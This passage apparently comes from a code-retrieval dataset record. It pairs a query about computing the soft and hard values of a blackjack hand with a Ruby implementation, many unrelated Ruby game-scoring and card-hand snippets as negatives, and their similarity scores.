self.credits-amount\r\n user.receive_credits(amount)\r\n else\r\n return 'suddenly you dont have enough money'\r\n end\r\n end", "def check_blackjack\n if count_score($player_hand) == 21 && $player_hand.length == 2\n puts \"Blackjack! You win!\"\n @bankroll += @bet_amount*1.5\n puts \"Your new bankroll is \" + @bankroll.to_s\n play_again\n end\nend", "def player_win_percentage\n (games_won/user_games)\n end", "def dealer_win\n @dealer_win += 1\n end", "def lose_life()\r\n @life -= 1\r\n end", "def lose_with_points\n self.is_complete = true\n \"#{name}'s point is smaller than dealer! #{name} lose bet. Lose for #{name}\"\n end", "def did_player_win\n (@purses[@current_player] != 6)\n end", "def count_gold\n us.gold = gets.to_i\n them.gold = gets.to_i\n end", "def count_gold\n us.gold = gets.to_i\n them.gold = gets.to_i\n end", "def remaining_balance_penalty\n\t\tif self.total_amount.blank? || self.penalty == 0\n\t\t\tbalance = 0\n\t\telsif self.penalty - paid_total <= 0\n\t\t\tbalance = 0\n\t\telse\n\t\t\tbalance = self.penalty - paid_total\n\t\tend\n\n\t\tif balance <= 0\n return 0\n else\n return balance\n end\n\tend", "def gold_result(enemy)\n # stop if enemy drops no gold\n return 0 if enemy.gold == 0\n # get gold\n gold = enemy.gold\n # if Tons is there\n if $tons_version != nil\n # if version is correct and using Different Difficulties\n if $tons_version >= 6.4 && TONS_OF_ADDONS::DIFFICULTY\n # multiply gained gold\n gold = gold * $game_system.gold_rate / 100\n end\n # if version is correct and using Passive Skills\n if $tons_version >= 6.5 && $game_system.PASSIVE_SKILLS\n # multiply gained gold with each actor's rate\n $game_party.actors.each {|actor| gold *= actor.gold_rate}\n gold = gold.to_i\n end\n end\n # return gold value for further processing\n return gold\n end", "def guesses_left\n @guesses_allowed - @current_guess_count\n end", "def games_won_or_lost(add_one_point)\n if add_one_point > 0\n return\n @points += add_one_point\n else\n add_one_point == 0\n return\n @points \n end\nend", "def remaining_balance\n if self.total_amount.blank?\n balance = 0\n\t\telsif self.penalty - paid_total > 0\n\t\t\tbalance = self.total_amount\n else\n\t\t\tbalance = self.total_amount - paid_total\n end\n\n if balance <= 0\n return 0\n else\n return balance\n end\n end", "def results\n @dealer.can_show_dealer_cards = true\n if @player.get_current_score > 21\n @dealer.money += @bank\n @status = 3\n elsif @dealer.get_current_score > 21\n @player.money += @bank\n @status = 1\n elsif @player.get_current_score > @dealer.get_current_score\n @player.money += @bank\n @status = 1\n elsif @player.get_current_score < @dealer.get_current_score\n @dealer.money += @bank\n @status = 3\n else @player.get_current_score == @dealer.get_current_score\n @player.money += BID\n @dealer.money += BID\n @status = 2\n end\n end", "def disbursed_amount\n amount = 0\n loans.each do |project|\n amount += project.disbursed_amount.to_i\n end\n amount\n end", "def win_percent\n matchmade_games < 1 ? 0 : ((total_exp.to_f/matchmade_games.to_f) * 100).to_d\n end", "def cure\n puts\"Vous soignez votre animal \\n\"\n @mental +=30\n @health +=60\n return 3\n end", "def num_players_missing\n num_players - game_players.count\n end", "def amount_owed\n total_price - amount_paid\n end", "def gets_damage(damage_onplayer)\n @life_points = @life_points - damage_onplayer\n\n if @life_points <= 0\n puts \"#{self.name} is dead\"\n else @life_points > 0\n puts \"#{self.name} à #{life_points} points de vie\"\n end\n end", "def send_money(amount)\n fail unless amount >= 0\n self.credits += amount\n end" ]
[ "0.7134356", "0.705395", "0.6893566", "0.68753844", "0.687292", "0.68616587", "0.68588024", "0.67827606", "0.6753296", "0.6708872", "0.66422164", "0.66082793", "0.65958095", "0.6580925", "0.657832", "0.65631205", "0.65486443", "0.65404534", "0.65316814", "0.65110064", "0.64971846", "0.6485214", "0.6464887", "0.6462009", "0.64593697", "0.64548385", "0.6452638", "0.64441985", "0.6444", "0.64433336", "0.64420366", "0.64323986", "0.64319307", "0.6417317", "0.6410465", "0.64052284", "0.64001906", "0.6395578", "0.6392374", "0.63859147", "0.63792324", "0.63693964", "0.63688064", "0.6346718", "0.63459975", "0.63457274", "0.6343629", "0.6327512", "0.6320393", "0.6313163", "0.63100255", "0.6304176", "0.630345", "0.6298681", "0.62823534", "0.6277743", "0.6277454", "0.62769014", "0.6276805", "0.6274565", "0.6274495", "0.6265831", "0.6264785", "0.6262069", "0.62440395", "0.6241754", "0.6240978", "0.62396467", "0.6238909", "0.62365764", "0.6225963", "0.6219133", "0.6218819", "0.6202583", "0.620114", "0.6200096", "0.61968213", "0.61933947", "0.6192032", "0.6184497", "0.6177916", "0.61776054", "0.6169305", "0.61615044", "0.61614275", "0.6158774", "0.6158774", "0.6147438", "0.6145357", "0.61449385", "0.61388224", "0.6138048", "0.61293864", "0.61290544", "0.61284715", "0.61275333", "0.6120066", "0.61127627", "0.61121404", "0.6111776" ]
0.6539575
18
Calculate the cumulated value of the card in a given hand, it is given an array +++ representing the hand, and return an array of two integers, the first represent +++ the soft hand (a hand without ace or ace but valued as 1), the second represent +++ the hard hand (a hand with an ace valued as 11). If there is no aces the soft +++ hand is returned normally and the hard hand value set at 999. it takes one +++ argument: hand_array: represent a player hand, accept an array.
def calculate_hand_total_value(hand_array) total_value = 0 is_there_an_ace = false hand_array.each do |card| if card[:rank] === "A" is_there_an_ace = true end card_value = card[:value] total_value += card_value end if is_there_an_ace return [total_value, total_value + 10] else return [total_value, 999] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hand_value(hand)\n sum = 0\n hand.each do |card|\n sum += card\n end\n sum\n end", "def get_hand_value\n cards.reduce(0) { |hand_value, card| hand_value += card.value }\n end", "def hand_value(hand)\n return 0 if hand.empty?\n value = 0\n\n # Add up the face values\n hand.each do |card|\n value += FACE_VALUES[card.face]\n end\n\n # Handle any needed Ace changes.\n while value > BUST\n hand.each do |card|\n if card.face == 'A'\n # Subtract the difference between high and low ace (10).\n value -= (FACE_VALUES['A'] - FACE_VALUES['L'])\n end\n end\n break # no aces to change, bail\n end\n\n return value\n end", "def value(hand)\n ace_count = 0\n hand_value = 0\n\n hand.each do |card|\n if card == :ace\n ace_count += 1\n hand_value += 11\n else\n hand_value += card\n end\n end\n\n # flip aces from being worth 11 to being worth 1 until we get <= 21\n # or we run out of aces\n while hand_value > 21 && ace_count > 0\n hand_value -= 10\n ace_count -= 1\n end\n\n hand_value\nend", "def hand_value(cards)\n value = 0\n val_arr = []\n cards.each do |sub_array|\n val_arr << sub_array.last\n val_arr.sort!\n end\n val_arr.each do |val|\n if val == 11 && value > 10\n value = value + 1 \n else\n value = value + val\n end\n end\n return value\nend", "def sum_of_cards(hand)\n card_values = hand.map do |card|\n if card[0] == 1\n card[0] = 11\n elsif card[0] >= 11\n card[0] = 10\n else\n card[0]\n end\n end\n sum = 0\n card_values.each do |card|\n sum += card[0]\n end\n sum\n end", "def hand_value\n\t\tadd_card_value(all_sums = [[]])\n\t\tconvert_aces(all_sums)\n\t\tall_sums.map! do |value_set|\n\t\t\tvalue_set.inject :+\n\t\tend\n\t\treturn_sum(all_sums)\n\tend", "def card_total(hand)\n total = 0\n ace = hand.select {|x| x[0] == 'A'}\n # Calculation of hand without aces.\n if ace == []\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n total\n else\n # Calculation of hand with ace(s)\n # Delete aces from hand array\n ace.each do |a|\n hand.each {|x| hand.delete(a) if x == a}\n end\n # Calculate hand without aces\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n ace.each {|a| hand << a}\n # Add the value of ace(s) to the current total\n nr_ace = ace.length\n case nr_ace\n when 1\n total <= 10? total += 11 : total += 1\n when 2\n total <= 9? total += 12 : total += 2\n when 3\n total <= 8? total += 13 : total += 3\n else\n total <= 7? total += 14 : total += 4\n end\n total \n end\nend", "def hand_total(hand) \n\n #A flag to see if the hand contains an ace\n have_ace = ! ( session[hand].select{|card| card['rank'] == \"ace\"}.empty? ) \n\n total = 0 \n\n #Look up the point value of each card in the hand\n session[hand].each do |card|\n total += RANK_TO_POINTS[ card['rank']]\n end\n \n #Convert from hard (ace=1) to a soft (ace=11) \n #score if hand contains an ace\n #and it won't cause the hand to bust\n if (total <= 11 && have_ace) then total += 10 end \n\n return total \n\n end", "def value_of_hand(hand)\n collection_of_card_values = hand.collect {|index| index[1]}\n card_values = collection_of_card_values.inject{|sum,next_card| sum + next_card }\n if collection_of_card_values.include?(1) && card_values < 12\n card_values += 10\n end\n card_values\nend", "def hand_value\n @hand_value = @player_hand.hand.flatten.map { |x| Integer(x) rescue nil}.compact.inject(:+)\n end", "def get_hand_sum(curr_hand) \n curr_hand.inject(0) { |sum, card| sum + card }\n end", "def hand_value (hand)\n hand_value = 0\n hand.each do |card|\n case card.value\n when /[2-9]|[1][0]/ \n hand_value += card.value.to_i \n when /[JQK]/\n hand_value += 10\n when \"A\"\n hand_value += 11\n if hand_value > 21\n hand_value -= 10 \n end \n end\n end\n hand_value\n end", "def determine_hand_value(hand)\n value_hand = hand.map do |x|\n if x.include?(\"Ace\")\n x = 11\n elsif [\"K\", \"Q\", \"J\", \"1\"].include?(x[0])\n x = 10\n else\n x = x[0].to_i\n end\n end\n value_hand = value_hand.inject(0) { |result, element| result + element }\n adjust_value_for_aces(hand, value_hand)\nend", "def value_of_hand(array_of_cards)\n faces = {\"A\" =>11,\n \"2\" => 2, \n \"3\" => 3,\n \"4\" => 4,\n \"5\" => 5,\n \"6\" => 6,\n \"7\" => 7,\n \"8\" => 8,\n \"9\" => 9,\n \"10\" => 10,\n \"J\" => 10,\n \"Q\" => 10,\n \"K\" => 10\n }\n total_value = 0\n num_aces = 0\n array_of_cards.each do |c|\n #cards are in string format, e.g. \"J of diamonds\"\n face = c.split[0]\n value = faces[face]\n total_value += value\n num_aces += 1 if face == \"A\"\n end\n #correct for Aces -- BORROWED THIS LOGIC FROM TEACHER'S CODE\n num_aces.times do\n total_value -= 10 if total_value > 21\n end\n return total_value\nend", "def value(hand)\n # Sorting hack to get aces at the very end so we count them last\n hand.sort_by { |c| c.to_i != 0 ? c : c[0] - 81 }.reverse().inject(0) do |total,cur|\n if cur.to_i != 0\n total + cur # 2-10 case\n elsif [\"J\",\"Q\",\"K\"].include? cur\n total + 10 # J,Q, or K\n elsif cur == \"A\"\n if (total+11) > 21\n total + 1 # Count ace as 1\n else\n total+11 # Count ace as 11\n end\n end\n end\n end", "def play_hand( hand )\n\tscore = Array.new( 10 )\n\n\tscore[ 0 ] = [ is_royal_flush( hand ) ]\n\tscore[ 1 ] = [ is_straight_flush( hand ) ]\n\tscore[ 2 ] = [ is_four_of_a_kind( hand ) ]\n\tscore[ 3 ] = [ is_full_house( hand ) ]\n\tscore[ 4 ] = [ is_flush( hand ) ]\n\tscore[ 5 ] = [ is_straight( hand ) ]\n\tscore[ 6 ] = is_three_of_a_kind( hand )\n\tscore[ 7 ] = is_two_pair( hand )\n\tscore[ 8 ] = [ is_one_pair( hand ) ]\n\tscore[ 9 ] = [ is_high_card( hand ) ]\n\t\n\treturn score\nend", "def smart_aces hand\n# Adjusts the value of \"Ace\" elements to be either 1 or 11 depending on the hand total\n\thand_total = hand.reduce :+\n\tif hand_total < 12 && hand_total > 2\n\t\thand.map! do |card|\n\t\t\tif card == 1\n\t\t\t\t11\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total > 21\n\t\thand.map! do |card|\n\t\t\tif card == 11\n\t\t\t\t1\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total == 2\n\t\thand[0] = 11\n\tend\n\nend", "def get_hand_value(hand)\n hand_values = hand.map { |card| card[0]} \n \n total = 0\n #check if there are any Aces\n hand_values.each do |value|\n if value == 'A'\n total += 11\n elsif value.to_i == 0 # this is for J, Q, K\n total += 10\n else\n total += value.to_i\n end\n end\n # To accomodate Aces, subtract 10 from the total per Ace if the total is >21\n hand_values.select{|value| value == \"A\"}.count.times do \n total -= 10 if total >21\n end\n total\nend", "def deal_and_total(name, hand_array, deck_hash)\n read_hand(name, hand_array, deck_hash)\n new_hand_value = sum_cards(hand_array, deck_hash)\nend", "def sum_cards(hand_array, deck_hash)\n hand_value = 0\n hand_array.each do |card_sym|\n hand_value += deck_hash[card_sym]\n end\n hand_value\nend", "def calculate_total hand\n\ttotal=0\n\tarray = hand.map {|e| e[1]}\n\tarray.each do |card|\n\t\t## face card \n\t\tif card == \"10\" || card ==\"J\" || card ==\"K\" || card ==\"Q\"\n\t\t\ttotal +=10\n\t\t## Ace card\t\n\t\telsif card ==\"A\"\n\t\t\ttotal += 11\n\t\telse \n\t\t\ttotal += card.to_i\n\t\tend\n\tend\n\thand.collect {|e| e[1]}.each do |card|\n\t\tif total >21 && card == \"A\"\n\t\t\ttotal -= 10\n\t\tend\n\tend\n\n\treturn total \nend", "def hand_value\n @hand_value = []\n if straight_flush?\n @hand_value << 9 << straight_flush?\n elsif four_of_a_kind?\n @hand_value << 8 << four_of_a_kind?\n elsif full_house?\n @hand_value << 7 << full_house?\n elsif flush?\n @hand_value << 6 << flush?\n elsif straight?\n @hand_value << 5 << straight?\n elsif three_of_a_kind?\n @hand_value << 4 << three_of_a_kind?\n elsif two_pair?\n @hand_value << 3 << two_pair?\n elsif pair?\n @hand_value << 2 << pair?\n else\n @hand_value << 1 << points[0]\n end\n\n end", "def total (hand, current_total)\n # cards are nested arrays format like this: [\"H\", \"9\"] and [\"S\", \"9\"]\n # can extract out separate array of values only using .map, ignore suits\n string_values = hand.map { |card| card[1] } \n\n string_values.each do |value|\n current_total += get_int_value(value, current_total)\n end\n current_total\nend", "def calculate_hand_value(hand)\n value = 0\n if hand.values.reduce(:+) <= 21\n value = hand.values.reduce(:+)\n elsif hand.values.reduce(:+) > 21 && hand.keys.any? {|card| card.include?(\"A\") }\n hand.keys.each do |card|\n hand[card] = 1 if card.include?(\"A\")\n value = hand.values.reduce(:+)\n break if value <= 21\n end\n value\n else\n value = hand.values.reduce(:+)\n end\n\nend", "def read_hand(name, hand_array, deck_hash)\n hand_val = sum_cards(hand_array, deck_hash)\n puts \"#{name}'s hand is now #{hand_array.join(\", \")} for a total of #{hand_val} points\"\n nil\nend", "def is_high_card( hand )\n\treturn hand.map { | e | card_value( e ) }.max\nend", "def possibleHandValues\n \thand_values = Set.new [0] # start with value 0\n \[email protected] do |card| # for each card in the hand\n \t card_values = card.getValue\n \t new_hand_values = Set.new # add its value to all the possible\n \t hand_values.each do |total| # values for each of the previous\n \t \tcard_values.each do |card_value| # cards\n new_hand_values << total+card_value\n end\n end\n # Swap variable names. This makes the loop simpler\n new_hand_values, hand_values = hand_values, new_hand_values\n new_hand_values.clear\n end\n # Get the values that are below 21\n hand_values.delete_if do |value|\n if value > BLACKJACK\n true\n end\n end\n hand_values # Return set of possible values\n end", "def hand_score\n cards.map {|a| a.value}.sort {|a,b| a <=> b}.last\n end", "def values\n hand = @hand.dup\n\n # Strip away cards' suits\n hand = hand.gsub(/(S|H|D|C)/, '')\n\n # Replace ace through ten cards with their numerical values\n hand = hand.gsub(/[AKQJT]/, 'A'=>'14', 'K'=>'13', 'Q'=>'12', 'J'=>'11', 'T'=>'10')\n\n # Return an array of integer values\n hand.split.map(&:to_i)\n end", "def get_hand_score\n score = 0\n \n # Add up score of non-aces\n values = hand.map{|card| card.value}\n values.each do |val|\n if Array(2..10).include?(val.to_i)\n score += val.to_i\n elsif [\"J\", \"Q\", \"K\"].include?(val)\n score += 10\n end\n end\n\n # deal with the aces\n values.count(\"A\").times do\n if score + 11 <= 21\n score += 11\n else\n score += 1\n end\n end\n\n return score\n end", "def player_hand_total\n players_hand.inject(0) {|sum, card| sum + card.value}\n end", "def hand_value\n\t\treturn evaluate_hand(@hand)\n\tend", "def calc_hand_total(cards)\r\n total = 0\r\n numbers_only_array = cards.map {|g| g[0]}\r\n numbers_only_array.each do |h|\r\n if h == 'ace'\r\n total += 11\r\n elsif h.to_i == 0\r\n total += 10\r\n else\r\n total += h.to_i\r\n end\r\n end\r\n\r\n numbers_only_array.select {|k| k == \"ace\"}.count.times do\r\n total -= 10 if total > 21 \r\n end\r\n\r\n total\r\nend", "def hand_value(hand) #calling upon function \"hand_value\". Getting hand (made up var. at the moment) \n value = 0\n for card in hand #do is a method. calling upon each card in the hand\n if $deck_values.keys.include?(card) # IF the keys of deck_values are included in the card, then..\n value += $deck_values[card] #value is equal to the card within deck_values\n else #otherwise, if value is NOT equal to the keys of deck_values, then value is equal to card\n value += card \n end\n end\n return value\nend", "def poker hands\n raise NoHandError if hands.empty?\n allmax(hands, method(:hand_rank))\nend", "def tally(hand)\n arr = hand.map{|e| e[0]} #gets the second element of the nested array (cos arrays are zero indexed)\n running_total = 0 #initialise this at the beginning & then iterate through each value to get the total from our new hand_total array\n \n arr.each do |value|\n if value == 'A'\n running_total += 11\n elsif value == 'J' || value == 'Q' || value == 'K' #could also say value.to_i ==0 because it would fail and return a 0\n running_total += 10\n else\n running_total += value.to_i\n end\n end\n\n # correct for Aces\n arr.select{|e| e == \"A\"}.count.times do\n running_total -= 10 if running_total > 21\n end\n \n running_total\nend", "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend", "def high_card\n valueInt = {\"A\" => 14, \"K\"=> 13, \"Q\"=> 12, \"J\"=> 11}\n results=[]\n\n [@hand1Values, @hand2Values].each do |handV|\n maxValue = 0\n handV.each do |h|\n value = valueInt[h] ? valueInt[h] : h\n maxValue = value.to_i if value.to_i > maxValue \n end\n results << maxValue\n end\n\n results\n end", "def get_player_total(player_hand)\n\tplayer_total = 0 \t\t# Total value of player's hand\n\n\tfor i in 0..player_hand.length - 1\n\t\tplayer_total += $cards[player_hand[i]]\n\tend\n\treturn player_total\nend", "def dealer_hand_total\n dealers_hand.inject(0) {|sum, card| sum + card.value}\n end", "def hand_value cards\n values = cards.map{|c| $value_map[c[0]]}\n suits = cards.map{|c| c[1]}\n is_flush = false\n # check for flush\n if suits.uniq.size == 1\n is_flush = true\n end\n # check for straight\n is_straight = true\n sorted_values = values.sort\n for v in 0..(values.size-2)\n unless sorted_values[v]+1 == sorted_values[v+1]\n is_straight = false\n break\n end\n end\n if is_straight\n if is_flush\n # royal flush\n return {rank: 9, secondary: 10} if sorted_values[0] == 10\n # straight flush\n return {rank: 8, secondary: sorted_values[0]}\n end\n end\n # check for four of a kind\n if sorted_values[0] == sorted_values[3] || sorted_values[1] == sorted_values[4]\n return {rank: 7, secondary: sorted_values[1]}\n end\n # check for three of a kind or full house\n if sorted_values[0] == sorted_values[2]\n return {rank: 6, secondary: sorted_values[0]} if sorted_values[3] == sorted_values[4]\n return {rank: 3, secondary: sorted_values[0]}\n end\n if sorted_values[2] == sorted_values[4]\n return {rank: 6, secondary: sorted_values[2]} if sorted_values[0] == sorted_values[1]\n return {rank: 3, secondary: sorted_values[2]}\n end\n # check for three of a kind (case where full house is not possible)\n if sorted_values[1] == sorted_values[3]\n return {rank: 3, secondary: sorted_values[1]}\n end\n # return for flush (fine since three of a kind/full house and flush are mutually exclusive)\n return {rank: 5, secondary: sorted_values.last} if is_flush\n # return for straight (fine since three of a kind/full house and straight are mutually exclusive)\n return {rank: 4, secondary: sorted_values[0]} if is_straight\n # check for two pairs\n if sorted_values[0] == sorted_values[1] && sorted_values[2] == sorted_values[3]\n return {rank: 2, secondary: (sorted_values[0] > sorted_values[2] ? sorted_values[0] : sorted_values[2])}\n end\n if sorted_values[0] == sorted_values[1] && sorted_values[3] == sorted_values[4] \n return {rank: 2, secondary: (sorted_values[0] > sorted_values[3] ? sorted_values[0] : sorted_values[3])}\n end\n if sorted_values[1] == sorted_values[2] && sorted_values[3] == sorted_values[4] \n return {rank: 2, secondary: (sorted_values[1] > sorted_values[3] ? sorted_values[1] : sorted_values[3])}\n end\n # check for pairs\n return {rank: 1, secondary: sorted_values[0]} if sorted_values[0] == sorted_values[1]\n return {rank: 1, secondary: sorted_values[1]} if sorted_values[1] == sorted_values[2]\n return {rank: 1, secondary: sorted_values[2]} if sorted_values[2] == sorted_values[3]\n return {rank: 1, secondary: sorted_values[3]} if sorted_values[3] == sorted_values[4]\n # otherwise high card\n return {rank: 0, secondary: sorted_values.last}\nend", "def high_card(hand)\n\t\thand_num = check_num(hand)\n\t\treturn hand_num.max\n\tend", "def evaluateHandWithoutJoker(hand)\n\t\tevaluation = HAND_EVALUATIONS_NOTHING\n\n\t\tgroupedValues = self.cardsGroupedByValue(hand)\n\t\tgroupedSuits = self.cardsGroupedBySuit(hand)\n\t\tlongestRunLength = self.lengthOfLongestRunOfCards(hand)\n\n\t\t# one pair\n\t\tif !groupedValues[2].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_ONE_PAIR\n\t\tend\n\n\t\t# two pair\n\t\tif !groupedValues[2].nil? and groupedValues[2].length == 2\n\t\t\tevaluation = HAND_EVALUATIONS_TWO_PAIR\n\t\tend\n\n\t\t# three of a kind\n\t\tif !groupedValues[3].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_THREE_OF_A_KIND\n\t\tend\n\n\t\t# straight\n\t\tif longestRunLength == 5\n\t\t\tevaluation = HAND_EVALUATIONS_STRAIGHT\n\t\tend\n\n\t\t# flush\n\t\tif !groupedSuits[5].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_FLUSH\n\t\tend\n\n\t\t# full house\n\t\tif !groupedValues[2].nil? and !groupedValues[3].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_FULL_HOUSE\n\t\tend\n\n\t\t# four of a kind\n\t\tif !groupedValues[4].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_FOUR_OF_A_KIND\n\t\tend\n\n\t\t# straight flush\n\t\tif !groupedSuits[5].nil? and longestRunLength == 5\n\t\t\tevaluation = HAND_EVALUATIONS_STRAIGHT_FLUSH\n\t\tend\n\n\t\t# five of a kind\n\t\tif !groupedValues[5].nil?\n\t\t\tevaluation = HAND_EVALUATIONS_FIVE_OF_A_KIND\n\t\tend\n\n\t\t# royal flush\n\t\tif !groupedSuits[5].nil? and longestRunLength == 5\n\t\t\tif groupedValues[1].include? 0 and groupedValues[1].include? 12 # if it has an A and K\n\t\t\t\tevaluation = HAND_EVALUATIONS_ROYAL_FLUSH_NATURAL\n\t\t\tend\n\t\tend\n\n\t\treturn evaluation\n\tend", "def eval_7_card_hand( cards )\n 1\n end", "def calcScore(hand)\n return hand.inject(0) { |sum, n| sum + n.points }\nend", "def highest_non_bust_hand_value\n hands.select {|hand| !hand.bust? }.map {|hand| hand.value }.max\n end", "def value\n return @value if @value\n\n return @value = 900 if royal_flush?\n return @value = 800 + high_card_bonus if straight_flush?\n return @value = 700 + high_card_bonus if four_of_a_kind?\n return @value = 600 + high_card_bonus if full_house?\n return @value = 500 + high_card_bonus if flush?\n return @value = 400 + high_card_bonus if straight?\n return @value = 300 + high_card_bonus if three_of_a_kind?\n return @value = 200 + high_card_bonus if two_pairs?\n return @value = 100 + high_card_bonus if pair?\n @value = self.cards.map {|card| card.value}.inject(:+)\n end", "def evaluate(hand) \n value = 0\n numerical_value = hand.map { |card| card[0]} \n numerical_value.each do |x| \n if ['K', 'Q', 'J'].include?(x)\n value += 10\n elsif x == 'A'\n value += 11\n else\n value += x.to_i\n end\n end\n \n hand.select {|x| x[0] == 'A'}.count.times do \n if value > 21\n value -= 10\n end\n end\n value\nend", "def card_value(cards_value, cards)\n cards_value = 0\n players_cards_length = cards.length\n players_cards_info = cards[0 .. cards.length]\n cards.each {|y, x| cards_value = cards_value + x }\n return cards_value\n end", "def pair(hand)\n\t\thand_num = check_num(hand)\n\t\ti = 0\n\t\thand_aux = Array.new()\n\t\twhile i < hand_num.size\n\t\t\thand_aux[i] = hand_num.count(hand_num[i])\n\t\t\ti += 1\n\t\tend\n\n\t\tsum = 0\n\t\tfor twos in hand_aux\n\t\t\tif twos == 2\n\t\t\t\tsum += 2\n\t\t\tend\n\t\tend\n\t\treturn sum / 4\n\tend", "def check_num(hand)\n\t\thand_num = Array.new()\n\n\t\thand.each.with_index do |digit, index|\n\t\t\tcase digit[0]\n\t\t\twhen \"T\"\n\t\t\t\thand_num[index] = 10\n\t\t\twhen \"J\"\n\t\t\t\thand_num[index] = 11\n\t\t\twhen \"Q\"\n\t\t\t\thand_num[index] = 12\n\t\t\twhen \"K\"\n\t\t\t\thand_num[index] = 13\n\t\t\twhen \"A\"\n\t\t\t\thand_num[index] = 14\n\t\t\telse\n\t\t\t\thand_num[index] = digit[0].to_i\n\t\t\tend\n\t\tend\n\t\treturn hand_num\n\tend", "def calculate_primiera(hand1, hand2)\r\n res = [0,0]\r\n #p hand1\r\n #p hand2\r\n # first get the max card on each suit\r\n max_pt = []\r\n [hand1, hand2].each do |curr_hand|\r\n # reset max\r\n max_pt << {:D => 0, :B => 0, :C => 0, :S => 0 }\r\n curr_hand.each do |lbl|\r\n points = @deck_information.get_card_points(lbl)\r\n suit = @deck_information.get_card_segno(lbl)\r\n if points > max_pt.last[suit]\r\n # max on suit\r\n max_pt.last[suit] = points\r\n end\r\n end\r\n #p max_pt.last\r\n end\r\n # using inject, 0 is the first value of the accumulator sum, tha assume the\r\n # value of the block provided. x assume each value of the max_pt.first\r\n # x becomes a pair like max_pt.first.each{|k,v|}. For example x = [:S, 21]\r\n arr_sum_points = []\r\n max_pt.each do |maxitem|\r\n arr_sum_points << maxitem.inject(0) do |sum, x|\r\n if x[1] > 0 and sum >= 0 \r\n sum + x[1]\r\n else\r\n # this is a particular case, we don't have points on a particular suit\r\n # in this case there is no primiera. Then stay on -1.\r\n sum = -1\r\n end\r\n end\r\n end\r\n #p arr_sum_points\r\n if arr_sum_points[0] > arr_sum_points[1]\r\n #primiera on the first hand\r\n res[0] = 1\r\n res[1] = 0\r\n elsif arr_sum_points[0] == arr_sum_points[1]\r\n # same points, primiera is not assigned\r\n res[0] = 0\r\n res[1] = 0\r\n else\r\n #primiera on the second hand\r\n res[0] = 0\r\n res[1] = 1\r\n end \r\n #p res\r\n return res\r\n end", "def initialize(cards)\n raise \"Invalid hand size - #{cards.length}\" unless cards.length == 5\n @cards = cards.map {|c| Card.new(c)}.sort\n @by_value = {}\n @by_suit = {}\n @cards.each do |c|\n @by_value[c.value] ||= []\n @by_suit[c.suit] ||= []\n @by_value[c.value] << c\n @by_suit[c.suit] << c\n end\n\n if @cards[4].value+1 == @cards[3].value &&\n @cards[3].value+1 == @cards[2].value &&\n @cards[2].value+1 == @cards[1].value &&\n @cards[1].value+1 == @cards[0].value\n end\n # Is it a straight\n @straight = true\n @cards.reduce do |p,c|\n if p.value != c.value + 1\n @straight = false\n break\n end\n c\n end\n value = [0]\n if @straight # Is it a straight\n value = [500, @cards.first.value]\n end\n # Is it a flush\n if @flush = @by_suit.find {|k,v| v.length == 5}\n if @straight\n value = [900, @cards.first.value]\n else\n value = [600, @cards.first.value]\n end\n end\n if value[0] < 700\n if (a = @by_value.find {|k,v| v.length == 3 }) &&\n (b = @by_value.find {|k,v| v.length == 2 })\n value = [700, a[0], b[0]]\n elsif a = @by_value.find {|k,v| v.length == 4 }\n value = [800, a[0]] # Is it 4 of a kind\n end\n end\n if value[0] < 500 && (a = @by_value.find {|k,v| v.length == 3 })\n value = [400, a[0]] # Is it 3 of a kind\n end\n if value[0] < 400 \n if (a = @by_value.select {|k,v| v.length == 2}).length > 0\n if a.length == 2\n hi,low = a[a.keys.max], a[a.keys.min]\n high = @cards - hi - low\n value = [300,hi.first.value, low.first.value, high.first.value]\n else\n pair = a[a.keys.first]\n high = (@cards - pair).first\n value = [200,pair.first.value, high.value]\n end\n else\n value = [100, @cards.first.value]\n end\n end\n @value = value\n end", "def sum_player_hand(player_hand)\n player_hand.reduce(:+)\n end", "def value()\n sum = 0\n # Partition the array by string and integer then reverse to put aces at back\n @cards.partition{|x| x.is_a? String}.map(&:sort).flatten.reverse_each do |i|\n if [\"Q\", \"J\", \"K\"].include?(i)\n sum += 10\n elsif i == \"A\"\n if sum + 11 > 21\n sum += 1\n else\n sum += 11\n end\n else \n sum += i\n end\n end \n return sum\n end", "def card_total(player_or_dealer_array)\n value_array = player_or_dealer_array.map { |v| v[1] }\n card_value_counter = 0\n \n value_array.each do |value|\n if value.is_a? Integer\n card_value_counter += value\n elsif value != 'Ace'\n card_value_counter += 10\n else\n card_value_counter += 11\n end\n end\n \n #decided total based on total number of aces. Will keep adjusting ace value to 1 until the toal is 21 or under\n value_array.select { |v| v == 'Ace'}.count.times do\n card_value_counter -= 10 if card_value_counter > 21\n end\n \n card_value_counter\nend", "def check\n curhand = \"hand ##{@cur+1} contains: \"\n containAce = false;\n sum = 0\n i = 0\n while i<@hands[@cur].length\n if 1 == num_to_value(@hands[@cur][i])\n containAce = true\n end\n sum += num_to_value(@hands[@cur][i])\n curhand += num_to_rank(@hands[@cur][i]) + \" \"\n i += 1\n end\n\n puts \"---------------------------------------------------------\"\n puts curhand\n\n if containAce\n if sum < 11\n puts \"hand ##{@cur+1} value: #{sum}/#{sum+10}\"\n @values[@cur] = sum + 10 # store the higher value which benefits the player\n elsif 11 == sum \n if 2 == @hands[@cur].length && 1 == @hands.length # a blackjack!! no split and only contain two cards\n puts \"hand ##{@cur+1} value: BLACKJACK!!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 50 # use 50 to represent a blackjack\n else\n puts \"hand ##{@cur+1} value: 21\"\n @values[@cur] = 21\n @hands_status[@cur] = \"finished\"\n end\n elsif sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] 